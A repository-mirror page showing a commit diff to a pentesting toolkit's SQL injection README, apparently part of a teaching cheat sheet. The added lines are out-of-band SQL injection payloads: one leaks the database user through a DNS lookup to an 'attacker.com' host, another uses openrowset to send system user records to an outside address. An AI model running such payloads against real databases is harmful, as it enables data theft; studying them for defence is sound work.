Git-Mirrors/sec-pentesting-toolkit
1
0
Fork 0
mirror of https://github.com/autistic-symposium/sec-pentesting-toolkit.git synced 2025-05-02 23:05:11 -04:00
Code Issues Projects Releases Packages Wiki Activity

web security

Browse source
This commit is contained in:
bt3gl 2014-11-20 09:58:54 -05:00
parent b54f50fbe4
commit f3a1895380
3 changed files with 293 additions and 30 deletions
Download patch file Download diff file Expand all files Collapse all files

3
Web_Security/SQLi/README.md
View file

@ -53,6 +53,9 @@ SELECT count (*) FROM reviews WHERE author='bob' and SUBSTRING(SYSTEM_USER,1,1)=
* Utilize transport outside of HTTP response.
```
SELECT * FROM reviews WHERE review_author=UTL_INADDR.GET_HOST_ADDRESS((select user from dual ||'.attacker.com'));
INSERT into openowset('sqloledb','Network=DBMSSOCN; Address=10.0.0.2,1088;uid=gds574;pwd=XXX','SELECT * from tableresults') Select name,uid,isntuser from master.dbo.sysusers--
```
### Common ways of Exploitation